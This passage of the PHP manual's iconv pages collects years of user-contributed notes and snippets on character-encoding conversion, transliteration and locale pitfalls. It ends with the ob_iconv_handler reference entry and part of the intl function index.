        $text = preg_replace_callback('/\X/u', __FUNCTION__, $text);
    }
    elseif (is_array($text) && count($text) == 1 && is_string($text[0])) {
        // IGNORE characters that can't be TRANSLITerated to ASCII
        $text = iconv("UTF-8", "ASCII//IGNORE//TRANSLIT", $text[0]);
        // The documentation says that iconv() returns false on failure but it returns ''
        if ($text === '' || !is_string($text)) {
            $text = '?';
        }
        elseif (preg_match('/\w/', $text)) {            // If the text contains any letters...
            $text = preg_replace('/\W+/', '', $text);   // ...then remove all non-letters
        }
    }
    else {  // $text was not a string
        $text = '';
    }
    return $text;
}

$text = 'Française señor café 0123 කොහොමද ශ්‍රී ලංකා  hello Žluťoučký kůň '
. 'ÀÁÂ,ÃÄÅ,Æ,ÇÈ,ÉÊË,ÌÍÎ,ÏÐÑ,ÒÓÔ,ÕÖØ,ÙÚÛ,ÜÝ,Þ,'
. 'ß,àáâ,ãäå,æ,çèé,êëì,íîï,ðñò,óôõ,öøù,úûýý,þ,ÿŔŕ '
. 'YA(亚） HE（何） Tra Mỹ';
print(utf8_to_ascii($text));
/* prints
Francaise senor cafe 0123 ???? ?? ?? hello Zlutoucky kun
AAA,AAA,AE,CE,EEE,III,IDN,OOO,OOO,UUU,UY,Th,
ss,aaa,aaa,ae,cee,eei,iii,dno,ooo,oou,uuyy,th,yRr
YA(?) HE(?) Tra My
*/
?>
chicopeste at gmail dot com 26-Sep-2013 04:45
iconv also support CP850.
I used iconv("CP850", "UTF-8//TRANSLIT", $var);
to convert from SQL_Latin1_General_CP850_CI_AI to UTF-8.
jorortega at gmail dot com 05-Sep-2013 12:52
Be aware that iconv in PHP uses system implementations of locales and languages, what works under linux, normally doesn't in windows.

Also, you may notice that recent versions of linux (debian, ubuntu, centos, etc) the //TRANSLIT option doesn't work. since most distros doesn't include the intl packages (example: php5-intl and icuxx (where xx is a number) in debian) by default. And this because the intl package conflicts with another package needed for international DNS resolution.

Problem is that configuration is dependent of the sysadmin of the machine where you're hosted, so iconv is pretty much useless by default,  depending on what configuration is used by your distro or the machine's admin.
jessiedeer at hotmail dot com 15-Jul-2013 11:06
iconv with //IGNORE works as expected: it will skip the character if this one does not exist in the $out_charset encoding.

If a character is missing from the $in_charset encoding (eg byte \x81 from CP1252 encoding), then iconv will return an error, whether with //IGNORE or not.
jessie at hotmail dot com 21-Jun-2013 07:31
Provided that there is no invalid code point in the character chain for the input encoding, the //IGNORE option works as expected. No bug here.
jessie at hotmail dot com 21-Jun-2013 06:44
Provided that there is no invalid code point in the character chain for the input encoding, the //IGNORE option works as expected. No bug here.
admin at iecw dot net 11-Apr-2013 02:39
If you want to normalize a filename on Mac OS X, because it is in UTF-8 NFD and you need UTF-8 NFC
(See: http://en.wikipedia.org/wiki/Unicode_equivalence#Combining_and_precomposed_characters)
you may use:
<?php
$filename_nfc = iconv("UTF-8-MAC", "UTF-8", $filename_nfd);
?>
Daniel Klein 13-Mar-2013 09:17
You can use 'CP1252' instead of 'Windows-1252':
<?php
// These two lines are equivalent
$result = iconv('Windows-1252', 'UTF-8', $string);
$result = iconv('CP1252', 'UTF-8', $string);
?>
Note: The following code points are not valid in CP1252 and will cause errors.
129 (0x81)
141 (0x8D)
143 (0x8F)
144 (0x90)
157 (0x9D)
Use the following instead:
<?php
// Remove invalid code points, convert everything else
$result = iconv('CP1252', 'UTF-8//IGNORE', $string);
?>
hello at luka dot io 06-Mar-2013 10:00
yet another "fix my horrible data" function, this one should convert windows-1250 entities into iso-8859-2, ready to be iconv()ed into utf8

to be applied when converting the entire thing from windows-1250 doesn't work

<?php

function w1250_to_iso88592($text) {
    // map based on http://konfiguracja.c0.pl/iso02vscp1250en.html

    $map = array(
        chr(0x8A) => chr(0xA9),
        chr(0x8C) => chr(0xA6),
        chr(0x8D) => chr(0xAB),
        chr(0x8E) => chr(0xAE),
        chr(0x8F) => chr(0xAC),
        chr(0x9C) => chr(0xB6),
        chr(0x9D) => chr(0xBB),
        chr(0xA1) => chr(0xB7),
        chr(0xA5) => chr(0xA1),
        chr(0xBC) => chr(0xA5),
        chr(0x9F) => chr(0xBC),
        chr(0xB9) => chr(0xB1),
        chr(0x9A) => chr(0xB9),
        chr(0xBE) => chr(0xB5),
        chr(0x9E) => chr(0xBE),
    );

    return strtr($text, $map);
}

?>
miloshio at gmail dot com 02-Mar-2013 05:32
Please keep in mind that iconv is not your magic stick by which you can convert anything to your desired encoding sheme.

Even if there is encoding declaration for text you're about to manipulate in PHP, there is always chances that there are some characters or character sequences that are in wrong encoding scheme and despite that your browser (for example) is displaying text to you properly.

These are situations with so-called mixed encoding. You have to:

detect current encoding for your string,

repair broken encoding sheme (here I'm struggling with different methods and third-party libraries such as forceutf8 on GitHub),

and in last step you can hope to good conversion results.
info at ozanakman dot com dot tr 23-May-2012 01:02
Turkish characters is error with the used set_locale and strftime commands.

My key example:
<?php iconv('','UTF-8',strftime('%d %B %Y %A')); ?>
orrd101 at gmail dot com 14-May-2012 03:58
The "//ignore" option doesn't work with recent versions of the iconv library.  So if you're having trouble with that option, you aren't alone.

That means you can't currently use this function to filter invalid characters.  Instead it silently fails and returns an empty string (or you'll get a notice but only if you have E_NOTICE enabled).

This has been a known bug with a known solution for at least since 2009 years but no one seems to be willing to fix it (PHP must pass the -c option to iconv).  It's still broken as of the latest release 5.4.3.

https://bugs.php.net/bug.php?id=48147
https://bugs.php.net/bug.php?id=52211
https://bugs.php.net/bug.php?id=61484

[UPDATE 15-JUN-2012]
Here's a workaround...

  ini_set('mbstring.substitute_character', "none");
  $text= mb_convert_encoding($text, 'UTF-8', 'UTF-8');

That will strip invalid characters from UTF-8 strings (so that you can insert it into a database, etc.).  Instead of "none" you can also use the value 32 if you want it to insert spaces in place of the invalid characters.
daniel dot rhodes at warpasylum dot co dot uk 23-Aug-2011 05:22
Interestingly, setting different target locales results in different, yet appropriate, transliterations. For example:

<?php
//some German
$utf8_sentence = 'Weiß, Goldmann, Göbel, Weiss, Göthe, Goethe und Götz';

//UK
setlocale(LC_ALL, 'en_GB');

//transliterate
$trans_sentence = iconv('UTF-8', 'ASCII//TRANSLIT', $utf8_sentence);

//gives [Weiss, Goldmann, Gobel, Weiss, Gothe, Goethe und Gotz]
//which is our original string flattened into 7-bit ASCII as
//an English speaker would do it (ie. simply remove the umlauts)
echo $trans_sentence . PHP_EOL;

//Germany
setlocale(LC_ALL, 'de_DE');

$trans_sentence = iconv('UTF-8', 'ASCII//TRANSLIT', $utf8_sentence);

//gives [Weiss, Goldmann, Goebel, Weiss, Goethe, Goethe und Goetz]
//which is exactly how a German would transliterate those
//umlauted characters if forced to use 7-bit ASCII!
//(because really ä = ae, ö = oe and ü = ue)
echo $trans_sentence . PHP_EOL;

?>
marc at NOSPAM dot leftek dot com 07-May-2011 07:02
A simple cleaning function [eg: iconv("UTF-8","UTF-8//IGNORE", $s)] may not be enough when receiving UTF8 input that needs to be saved in MySQL.  Prior to MySQL v5.5 four byte sequences were not supported so a function is needed to strip these out as well:

<?php
            for($pos=strlen($strUtf8)-1; $pos >= 0 ; $pos--){
                $char = substr($strUtf8, $pos, 1);
                if (ord($char) > 0xEF) $strUtf8 = substr($strUtf8, 0, $pos).substr($strUtf8, $pos+1);
            }
?>
ameten 15-Jan-2011 01:17
I have used iconv to convert from cp1251 into UTF-8. I spent a day to investigate why a string with Russian capital 'Р' (sounds similar to 'r') at the end cannot be inserted into a database.

The problem is not in iconv. But 'Р' in cp1251 is chr(208) and 'Р' in UTF-8 is chr(208).chr(106). chr(106) is one of the space symbol which match '\s' in regex. So, it can be taken by a greedy '+' or '*' operator. In that case, you loose 'Р' in your string.

For example, 'ГР   ' (Russian, UTF-8). Function preg_match. Regex is '(.+?)[\s]*'. Then '(.+?)' matches 'Г'.chr(208) and '[\s]*' matches chr(106).'   '.

Although, it is not a bug of iconv, but it looks like it very much. That's why I put this comment here.
vb (at) bertola.eu 15-Jul-2010 03:35
On my system, according to tests, and also as reported by other people elsewhere, you can combine TRANSLIT and IGNORE only by appending

//IGNORE//TRANSLIT

strictly in that order, but NOT by appending //TRANSLIT//IGNORE, which would lead to //IGNORE being ignored ( :) ).

Anyway, it's hard to understand how one could devise a system of passing options that does not allow to couple both options in a neat manner, and also to understand why the default behaviour should be the less useful and most dangerous one (throwing away most of your data at the first unexpected character). Software design FAIL :-/
Anonymous 18-Jan-2010 08:37
For text with special characters such as (é) &eacute; which appears at 0xE9 in the ISO-8859-1 and at 0x82 in IBM-850. The correct output character set is 'IBM850' as:
('ISO-8859-1', 'IBM850', 'Québec')
Andries Seutens 07-Nov-2009 08:38
When doing transliteration, you have to make sure that your LC_COLLATE is properly set, otherwise the default POSIX will be used.

To transform "rené" into "rene" we could use the following code snippet:

<?php

setlocale(LC_CTYPE, 'nl_BE.utf8');

$string = 'rené';
$string = iconv('UTF-8', 'ASCII//TRANSLIT', $string);

echo $string; // outputs rene

?>
annuaireehtp at gmail dot com 14-Oct-2009 01:53
to test different combinations of convertions between charsets (when we don't know the source charset and what is the convenient destination charset) this is an example :

<?php
$tab = array("UTF-8", "ASCII", "Windows-1252", "ISO-8859-15", "ISO-8859-1", "ISO-8859-6", "CP1256");
$chain = "";
foreach ($tab as $i)
    {
        foreach ($tab as $j)
        {
            $chain .= " $i$j ".iconv($i, $j, "$my_string");
        }
    }

echo $chain;
?>

then after displaying, you use the $i$j that shows good displaying.
NB: you can add other charsets to $tab  to test other cases.
phpmanualspam at netebb dot com 18-Sep-2009 08:53
mirek code, dated 16-May-2008 10:17, added the characters `^~'" to the output.
This function will strip out these extra characters:
<?php
setlocale(LC_ALL, 'en_US.UTF8');
function clearUTF($s)
{
    $r = '';
    $s1 = @iconv('UTF-8', 'ASCII//TRANSLIT', $s);
    $j = 0;
    for ($i = 0; $i < strlen($s1); $i++) {
        $ch1 = $s1[$i];
        $ch2 = @mb_substr($s, $j++, 1, 'UTF-8');
        if (strstr('`^~\'"', $ch1) !== false) {
            if ($ch1 <> $ch2) {
                --$j;
                continue;
            }
        }
        $r .= ($ch1=='?') ? $ch2 : $ch1;
    }
    return $r;
}
?>
martin at front of mind dot co dot uk 29-May-2009 12:33
For transcoding values in an Excel generated CSV the following seems to work:

<?php
$value = iconv('Windows-1252', 'UTF-8//TRANSLIT', $value);
?>
manuel at kiessling dot net 16-Apr-2009 06:33
Like many other people, I have encountered massive problems when using iconv() to convert between encodings (from UTF-8 to ISO-8859-15 in my case), especially on large strings.

The main problem here is that when your string contains illegal UTF-8 characters, there is no really straight forward way to handle those. iconv() simply (and silently!) terminates the string when encountering the problematic characters (also if using //IGNORE), returning a clipped string. The

<?php

$newstring = html_entity_decode(htmlentities($oldstring, ENT_QUOTES, 'UTF-8'), ENT_QUOTES , 'ISO-8859-15');

?>

workaround suggested here and elsewhere will also break when encountering illegal characters, at least dropping a useful note ("htmlentities(): Invalid multibyte sequence in argument in...")

I have found a lot of hints, suggestions and alternative methods (it's scary and in my opinion no good sign how many ways PHP natively provides to convert the encoding of strings), but none of them really worked, except for this one:

<?php

$newstring = mb_convert_encoding($oldstring, 'ISO-8859-15', 'UTF-8');

?>
wulf dot kaiser at mpimf-heidelberg dot mpg dot de 03-Apr-2009 11:57
Here a very small but useful way to handle text files before further using them:

<?php

$in = file("/tmp/myfile.txt");
$out = fopen("/tmp/myfile.txt", "w");

foreach ($in as $line) {

  fputs($out, iconv("UTF-8","ISO-8859-1", $line));}

?>
kikke 20-Feb-2009 01:50
You can use native iconv in Linux via passthru if all else failed.
Use the -c parameter to suppress error messages.
admin at studio-gepard dot pl 12-Feb-2009 12:20
I noticed that iconv might return not entire string, and no error. It happens when iconv encounters characters it doesn't know how to convert to certain encoding.
Simplest way to check how it works is:
<?php
$text=iconv('utf-8','iso-8859-2',$text);
$text=iconv('utf-8','iso-8859-2',$text);
?>
the result will be $text till first encounter of iso-8859-2 -specific char (such as ą / ź which already was converted to ± / Ľ ). It's quite hard to catch this error and brings a lot of trouble. I got it with converting greek alpha into iso-8859-2 (should be &alpha; but causes the error)
Leigh Morresi 02-Oct-2008 08:10
If you are getting question-marks in your iconv output when transliterating, be sure to 'setlocale' to something your system supports.

Some PHP CMS's will default setlocale to 'C', this can be a problem.

use the "locale" command to find out a list..

$ locale -a
C
en_AU.utf8
POSIX

<?php
  setlocale(LC_CTYPE, 'en_AU.utf8');
  $str = iconv('UTF-8', 'ASCII//TRANSLIT', "Côte d'Ivoire");
?>
mirek at burkon dot org 16-May-2008 12:17
If you need to strip as many national characters from UTF-8 as possible and keep the rest of input unchanged (i.e. convert whatever can be converted to ASCII and leave the rest), you can do it like this:

<?php
setlocale(LC_ALL, 'en_US.UTF8');

function clearUTF($s)
{
    $r = '';
    $s1 = iconv('UTF-8', 'ASCII//TRANSLIT', $s);
    for ($i = 0; $i < strlen($s1); $i++)
    {
        $ch1 = $s1[$i];
        $ch2 = mb_substr($s, $i, 1);

        $r .= $ch1=='?'?$ch2:$ch1;
    }
    return $r;
}

echo clearUTF('Šíleně žluťoučký Vašek úpěl olol! This will remain untranslated: ᾡᾧῘઍિ૮');
//outputs Silene zlutoucky Vasek upel olol! This will remain untranslated: ᾡᾧῘઍિ૮
?>

Just remember you HAVE TO set locale to some unicode encoding to make iconv handle //TRANSLIT correctly!
berserk220 at mail dot ru 01-Mar-2008 03:44
So, as iconv() does not always work correctly, in most cases, much easier to use htmlentities().
Example: <?php $content=htmlentities(file_get_contents("incoming.txt"), ENT_QUOTES, "Windows-1252");  file_put_contents("outbound.txt", html_entity_decode($content, ENT_QUOTES , "utf-8")); ?>
anton dot vakulchik at gmail dot com 02-Feb-2008 07:40
function detectUTF8($string)
{
        return preg_match('%(?:
        [\xC2-\xDF][\x80-\xBF]        # non-overlong 2-byte
        |\xE0[\xA0-\xBF][\x80-\xBF]               # excluding overlongs
        |[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}      # straight 3-byte
        |\xED[\x80-\x9F][\x80-\xBF]               # excluding surrogates
        |\xF0[\x90-\xBF][\x80-\xBF]{2}    # planes 1-3
        |[\xF1-\xF3][\x80-\xBF]{3}                  # planes 4-15
        |\xF4[\x80-\x8F][\x80-\xBF]{2}    # plane 16
        )+%xs', $string);
}

function cp1251_utf8( $sInput )
{
    $sOutput = "";

    for ( $i = 0; $i < strlen( $sInput ); $i++ )
    {
        $iAscii = ord( $sInput[$i] );

        if ( $iAscii >= 192 && $iAscii <= 255 )
            $sOutput .=  "&#".( 1040 + ( $iAscii - 192 ) ).";";
        else if ( $iAscii == 168 )
            $sOutput .= "&#".( 1025 ).";";
        else if ( $iAscii == 184 )
            $sOutput .= "&#".( 1105 ).";";
        else
            $sOutput .= $sInput[$i];
    }

    return $sOutput;
}

function encoding($string){
    if (function_exists('iconv')) {
        if (@!iconv('utf-8', 'cp1251', $string)) {
            $string = iconv('cp1251', 'utf-8', $string);
        }
        return $string;
    } else {
        if (detectUTF8($string)) {
            return $string;
        } else {
            return cp1251_utf8($string);
        }
    }
}
echo encoding($string);
mightye at gmail dot com 05-Nov-2007 02:01
To strip bogus characters from your input (such as data from an unsanitized or other source which you can't trust to necessarily give you strings encoded according to their advertised encoding set), use the same character set as both the input and the output, with //IGNORE on the output charcter set.
<?php
// assuming '†' is actually UTF8, htmlentities will assume it's iso-8859
// since we did not specify in the 3rd argument of htmlentities.
// This generates "&acirc;[bad utf-8 character]"
// If passed to any libxml, it will generate a fatal error.
$badUTF8 = htmlentities('†');

// iconv() can ignore characters which cannot be encoded in the target character set
$goodUTF8 = iconv("utf-8", "utf-8//IGNORE", $badUTF8);
?>
The result of the example does not give you back the dagger character which was the original input (it got lost when htmlentities was misused to encode it incorrectly, though this is common from people not accustomed to dealing with extended character sets), but it does at least give you data which is sane in your target character set.
gree:.. (gree 4T grees D0T net) 24-Aug-2007 11:19
In my case, I had to change:
<?php
setlocale(LC_CTYPE, 'cs_CZ');
?>
to
<?php
setlocale(LC_CTYPE, 'cs_CZ.UTF-8');
?>
Otherwise it returns question marks.

When I asked my linux for locale (by locale command) it returns "cs_CZ.UTF-8", so there is maybe correlation between it.

iconv (GNU libc) 2.6.1
glibc 2.3.6
dead dot screamer at seznam dot cz 14-Jun-2007 06:08
Ritchie's example

<?
setlocale(LC_CTYPE, 'cs_CZ');
echo iconv('UTF-8', 'ASCII//TRANSLIT', "Žluťoučký kůň\n");
?>

dasn't output `Zlutoucky kun`, but `Zlutouck'y kun`
Ritchie 25-Mar-2007 01:11
Please note that iconv('UTF-8', 'ASCII//TRANSLIT', ...) doesn't work properly when locale category LC_CTYPE is set to C or POSIX. You must choose another locale otherwise all non-ASCII characters will be replaced with question marks. This is at least true with glibc 2.5.

Example:
<?php
setlocale(LC_CTYPE, 'POSIX');
echo iconv('UTF-8', 'ASCII//TRANSLIT', "Žluťoučký kůň\n");
// ?lu?ou?k? k??

setlocale(LC_CTYPE, 'cs_CZ');
echo iconv('UTF-8', 'ASCII//TRANSLIT', "Žluťoučký kůň\n");
// Zlutoucky kun
?>
Georgios Papadakis 08-Mar-2007 09:28
Many mail servers don't handle utf-8 correctly as they assume iso-8859-x encodings, so you would want to convert the headers, subject and body of an email prior to sending it out.

If iconv() and mb_convert_encoding() are missing the following function can be used to convert UTF8 to iso-8859-7 encoding. It discards all characters that are not 2-byte greek characters or single-byte (ascii).

<?php
function conv_utf8_iso8859_7($s) {
    $len = strlen($s);
    $out = "";
    $curr_char = "";
    for($i=0; $i < $len; $i++) {
        $curr_char .= $s[$i];
        if( ( ord($s[$i]) & (128+64) ) == 128) {
            //character end found
            if ( strlen($curr_char) == 2) {
                // 2-byte character check for it is greek one and convert
                if      (ord($curr_char[0])==205) $out .= chr( ord($curr_char[1])+16 );
                else if (ord($curr_char[0])==206) $out .= chr( ord($curr_char[1])+48 );
                else if (ord($curr_char[0])==207) $out .= chr( ord($curr_char[1])+112 );
                else ; // non greek 2-byte character, discard character
            } else ;// n-byte character, n>2, discard character
            $curr_char = "";
        } else if (ord($s[$i]) < 128) {
            // character is one byte (ascii)
            $out .= $curr_char;
            $curr_char = "";
        }
    }
    return $out;
}
?>
Locoluis 15-Nov-2006 09:36
The following are Microsoft encodings that are based on ISO-8859 but with the addition of those stupid control characters.

CP1250 is Eastern European (not ISO-8859-2)
CP1251 is Cyrillic (not ISO-8859-5)
CP1252 is Western European (not ISO-8859-1)
CP1253 is Greek (not ISO-8859-7)
CP1254 is Turkish (not ISO-8859-9)
CP1255 is Hebrew (not ISO-8859-8)
CP1256 is Arabic (not ISO-8859-6)
CP1257 is Baltic (not ISO-8859-4)

If you know you're getting input from a Windows machine with those encodings, use one of these as a parameter to iconv.
sire at acc dot umu dot se 14-Dec-2005 10:17
If you get this error message: "Notice: iconv(): Detected an illegal character in input string in file.php on line x", and your text or database is likely to contain text copied from Microsoft Word documents, it's very likely that the error is because of the evil 0x96 "long dash" character. MS Word as default converts all double hyphens into this illegal character. The solution is either to convert 0x96 (dash) into the regular 0x2d (hyphen/minus), or to append the //TRANSLIT or //IGNORE parameters (se above).
nilcolor at gmail dot coom 24-Nov-2005 12:29
Didn't know its a feature or not but its works for me (PHP 5.0.4)

iconv('', 'UTF-8', $str)

test it to convert from windows-1251 (stored in DB) to UTF-8 (which i use for web pages).
BTW i convert each array i fetch from DB with array_walk_recursive...
anyean at gmail dot com 30-May-2005 12:23
<?php
//script from http://zizi.kxup.com/
//javascript unesape
function unescape($str) {
  $str = rawurldecode($str);
  preg_match_all("/(?:%u.{4})|&#x.{4};|&#\d+;|.+/U",$str,$r);
  $ar = $r[0];
print_r($ar);
  foreach($ar as $k=>$v) {
    if(substr($v,0,2) == "%u")
      $ar[$k] = iconv("UCS-2","UTF-8",pack("H4",substr($v,-4)));
    elseif(substr($v,0,3) == "&#x")
      $ar[$k] = iconv("UCS-2","UTF-8",pack("H4",substr($v,3,-1)));
    elseif(substr($v,0,2) == "&#") {
echo substr($v,2,-1)."<br>";
      $ar[$k] = iconv("UCS-2","UTF-8",pack("n",substr($v,2,-1)));
    }
  }
  return join("",$ar);
}
?>
zhawari at hotmail dot com 01-Feb-2005 12:27
Here is how to convert UTF-8 numbers to UCS-2 numbers in hex:

<?php

function utf8toucs2($str)
{
       for ($i=0;$i<strlen($str);$i+=2)
       {
                $substring1 = $str[$i].$str[$i+1];
                $substring2 = $str[$i+2].$str[$i+3];

                if (hexdec($substring1) < 127)
                        $results = "00".$str[$i].$str[$i+1];
                else
                {
                        $results = dechex((hexdec($substring1)-192)*64 + (hexdec($substring2)-128));
                        if ($results < 1000) $results = "0".$results;
                        $i+=2;
                }
                $ucs2 .= $results;
        }
        return $ucs2;
}

echo strtoupper(utf8toucs2("D985D8B1D8AD"))."\n";
echo strtoupper(utf8toucs2("456725"))."\n";

?>

Input:
D985D8B1D8AD
Output:
06450631062D

Input:
456725
Output:
004500670025
PHANTOm <phantom at nix dot co dot il> 27-Jan-2005 09:49
convert windows-1255 to utf-8 with the following code
<?php
$heb = 'put hebrew text here';
$utf = preg_replace("/([\xE0-\xFA])/e","chr(215).chr(ord(\${1})-80)",$heb);
?>
zhawari at hotmail dot com 19-Jan-2005 12:02
Here is how to convert UCS-2 numbers to UTF-8 numbers in hex:

<?php
function ucs2toutf8($str)
{
        for ($i=0;$i<strlen($str);$i+=4)
        {
                $substring1 = $str[$i].$str[$i+1];
                $substring2 = $str[$i+2].$str[$i+3];

                if ($substring1 == "00")
                {
                        $byte1 = "";
                        $byte2 = $substring2;
                }
                else
                {
                        $substring = $substring1.$substring2;
                        $byte1 = dechex(192+(hexdec($substring)/64));
                        $byte2 = dechex(128+(hexdec($substring)%64));
                }
                $utf8 .= $byte1.$byte2;
        }
        return $utf8;
}

echo strtoupper(ucs2toutf8("06450631062D0020"));

?>

Input:
06450631062D
Output:
D985D8B1D8AD

regards,
Ziyad
SiMM 10-Dec-2004 08:15
<?php // it's only example
function CP1251toUTF8($string){
  $out = '';
  for ($i = 0; $i<strlen($string); ++$i){
    $ch = ord($string{$i});
    if ($ch < 0x80) $out .= chr($ch);
    else
      if ($ch >= 0xC0)
        if ($ch < 0xF0)
             $out .= "\xD0".chr(0x90 + $ch - 0xC0); // &#1040;-&#1071;, &#1072;-&#1087; (A-YA, a-p)
        else $out .= "\xD1".chr(0x80 + $ch - 0xF0); // &#1088;-&#1103; (r-ya)
      else
        switch($ch){
          case 0xA8: $out .= "\xD0\x81"; break; // YO
          case 0xB8: $out .= "\xD1\x91"; break; // yo
          // ukrainian
          case 0xA1: $out .= "\xD0\x8E"; break; // &#1038; (U)
          case 0xA2: $out .= "\xD1\x9E"; break; // &#1118; (u)
          case 0xAA: $out .= "\xD0\x84"; break; // &#1028; (e)
          case 0xAF: $out .= "\xD0\x87"; break; // &#1031; (I..)
          case 0xB2: $out .= "\xD0\x86"; break; // I (I)
          case 0xB3: $out .= "\xD1\x96"; break; // i (i)
          case 0xBA: $out .= "\xD1\x94"; break; // &#1108; (e)
          case 0xBF: $out .= "\xD1\x97"; break; // &#1111; (i..)
          // chuvashian
          case 0x8C: $out .= "\xD3\x90"; break; // &#1232; (A)
          case 0x8D: $out .= "\xD3\x96"; break; // &#1238; (E)
          case 0x8E: $out .= "\xD2\xAA"; break; // &#1194; (SCH)
          case 0x8F: $out .= "\xD3\xB2"; break; // &#1266; (U)
          case 0x9C: $out .= "\xD3\x91"; break; // &#1233; (a)
          case 0x9D: $out .= "\xD3\x97"; break; // &#1239; (e)
          case 0x9E: $out .= "\xD2\xAB"; break; // &#1195; (sch)
          case 0x9F: $out .= "\xD3\xB3"; break; // &#1267; (u)
        }
  }
  return $out;
}
?>
aissam at yahoo dot com 30-Nov-2004 05:20
For those who have troubles in displaying UCS-2 data on browser, here's a simple function that convert ucs2 to html unicode entities :

<?php

 function ucs2html($str) {
    $str=trim($str); // if you are reading from file
    $len=strlen($str);
    $html='';
    for($i=0;$i<$len;$i+=2)
        $html.='&#'.hexdec(dechex(ord($str[$i+1])).
                   sprintf("%02s",dechex(ord($str[$i])))).';';
    return($html);
 }
?>
nikolai-dot-zujev-at-gmail-dot-com 18-Nov-2004 10:14
Here is an example how to convert windows-1251 (windows) or cp1251(Linux/Unix) encoded string to UTF-8 encoding.

<?php
function cp1251_utf8( $sInput )
{
    $sOutput = "";

    for ( $i = 0; $i < strlen( $sInput ); $i++ )
    {
        $iAscii = ord( $sInput[$i] );

        if ( $iAscii >= 192 && $iAscii <= 255 )
            $sOutput .=  "&#".( 1040 + ( $iAscii - 192 ) ).";";
        else if ( $iAscii == 168 )
            $sOutput .= "&#".( 1025 ).";";
        else if ( $iAscii == 184 )
            $sOutput .= "&#".( 1105 ).";";
        else
            $sOutput .= $sInput[$i];
    }

    return $sOutput;
}
?>
vitek at 4rome dot ru 16-Nov-2004 08:53
On some systems there may be no such function as iconv(); this is due to the following reason: a constant is defined named `iconv` with the value `libiconv`. So, the string PHP_FUNCTION(iconv) transforms to PHP_FUNCTION(libiconv), and you have to call libiconv() function instead of iconv().
I had seen this on FreeBSD, but I am sure that was a rather special build.
If you'd want not to be dependent on this behaviour, add the following to your script:
<?php
if (!function_exists('iconv') && function_exists('libiconv')) {
    function iconv($input_encoding, $output_encoding, $string) {
        return libiconv($input_encoding, $output_encoding, $string);
    }
}
?>
Thanks to tony2001 at phpclub.net for explaining this behaviour.
ng4rrjanbiah at rediffmail dot com 22-Jun-2004 05:10
Here is a code to convert ISO 8859-1 to UTF-8 and vice versa without using iconv.

<?php
//Logic from http://twiki.org/cgi-bin/view/Codev/InternationalisationUTF8
$str_iso8859_1 = 'foo in ISO 8859-1';
//ISO 8859-1 to UTF-8
$str_utf8 = preg_replace("/([\x80-\xFF])/e",
            "chr(0xC0|ord('\\1')>>6).chr(0x80|ord('\\1')&0x3F)",
             $str_iso8859_1);
//UTF-8 to ISO 8859-1
$str_iso8859_1 = preg_replace("/([\xC2\xC3])([\x80-\xBF])/e",
                "chr(ord('\\1')<<6&0xC0|ord('\\2')&0x3F)",
                 $str_utf8);
?>

HTH,
R. Rajesh Jeba Anbiah


Convert character encoding as output buffer handler

  • « iconv
  • intl »
  • PHP Manual
  • iconv Functions
  • Convert character encoding as output buffer handler

ob_iconv_handler

(PHP 4 >= 4.0.5, PHP 5)

ob_iconv_handler — Convert character encoding as output buffer handler

Description

string ob_iconv_handler ( string $contents , int $status )

Converts the string encoded in internal_encoding to output_encoding.

internal_encoding and output_encoding should be defined in the php.ini file or in iconv_set_encoding().

Parameters

See ob_start() for information about this handler parameters.

Return Values

See ob_start() for information about this handler return values.

Examples

Example #1 ob_iconv_handler() example:

<?php
iconv_set_encoding("internal_encoding", "UTF-8");
iconv_set_encoding("output_encoding", "ISO-8859-1");
ob_start("ob_iconv_handler"); // start output buffering
?>

See Also

  • iconv_get_encoding() - Retrieve internal configuration variables of iconv extension
  • iconv_set_encoding() - Set current setting for character encoding conversion
  • output-control functions

User Contributed Notes

st33mann at gmx dot n3t 04-Oct-2005 08:43
Just a quick note that may be helpful for some:
It seems to me that this function also modifies the HTTP Content-Type header that's sent to the client (at least in combination with the iconv_set_encoding() function).

If you specify an encoding ending with "//TRANSLIT" or "//IGNORE" (valid in iconv), it will still send the encoding name in the HTTP header. This makes it an invalid character set unfortunately.

For example:
<?php
iconv_set_encoding("internal_encoding","UTF-8");
iconv_set_encoding("output_encoding","ISO-8859-1//TRANSLIT");
ob_start("ob_iconv_handler");
?>
will send a Content-Type header of "ISO-8859-1//TRANSLIT".


Internationalization Functions

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic usage of this extension
  • Collator — The Collator class
    • Collator::asort — Sort array maintaining index association
    • Collator::compare — Compare two Unicode strings
    • Collator::__construct — Create a collator
    • Collator::create — Create a collator
    • Collator::getAttribute — Get collation attribute value
    • Collator::getErrorCode — Get collator's last error code
    • Collator::getErrorMessage — Get text for collator's last error code
    • Collator::getLocale — Get the locale name of the collator
    • Collator::getSortKey — Get sorting key for a string
    • Collator::getStrength — Get current collation strength
    • Collator::setAttribute — Set collation attribute
    • Collator::setStrength — Set collation strength
    • Collator::sortWithSortKeys — Sort array using specified collator and sort keys
    • Collator::sort — Sort array using specified collator
  • NumberFormatter — The NumberFormatter class
    • NumberFormatter::create — Create a number formatter
    • NumberFormatter::formatCurrency — Format a currency value
    • NumberFormatter::format — Format a number
    • NumberFormatter::getAttribute — Get an attribute
    • NumberFormatter::getErrorCode — Get formatter's last error code.
    • NumberFormatter::getErrorMessage — Get formatter's last error message.
    • NumberFormatter::getLocale — Get formatter locale
    • NumberFormatter::getPattern — Get formatter pattern
    • NumberFormatter::getSymbol — Get a symbol value
    • NumberFormatter::getTextAttribute — Get a text attribute
    • NumberFormatter::parseCurrency — Parse a currency number
    • NumberFormatter::parse — Parse a number
    • NumberFormatter::setAttribute — Set an attribute
    • NumberFormatter::setPattern — Set formatter pattern
    • NumberFormatter::setSymbol — Set a symbol value
    • NumberFormatter::setTextAttribute — Set a text attribute
  • Locale — The Locale class
    • Locale::acceptFromHttp — Tries to find out best available locale based on HTTP "Accept-Language" header
    • Locale::canonicalize — Canonicalize the locale string
    • Locale::composeLocale — Returns a correctly ordered and delimited locale ID
    • Locale::filterMatches — Checks if a language tag filter matches with locale
    • Locale::getAllVariants — Gets the variants for the input locale
    • Locale::getDefault — Gets the default locale value from the INTL global 'default_locale'
    • Locale::getDisplayLanguage — Returns an appropriately localized display name for language of the inputlocale
    • Locale::getDisplayName — Returns an appropriately localized display name for the input locale
    • Locale::getDisplayRegion — Returns an appropriately localized display name for region of the input locale
    • Locale::getDisplayScript — Returns an appropriately localized display name for script of the input locale
    • Locale::getDisplayVariant — Returns an appropriately localized display name for variants of the input locale
    • Locale::getKeywords — Gets the keywords for the input locale
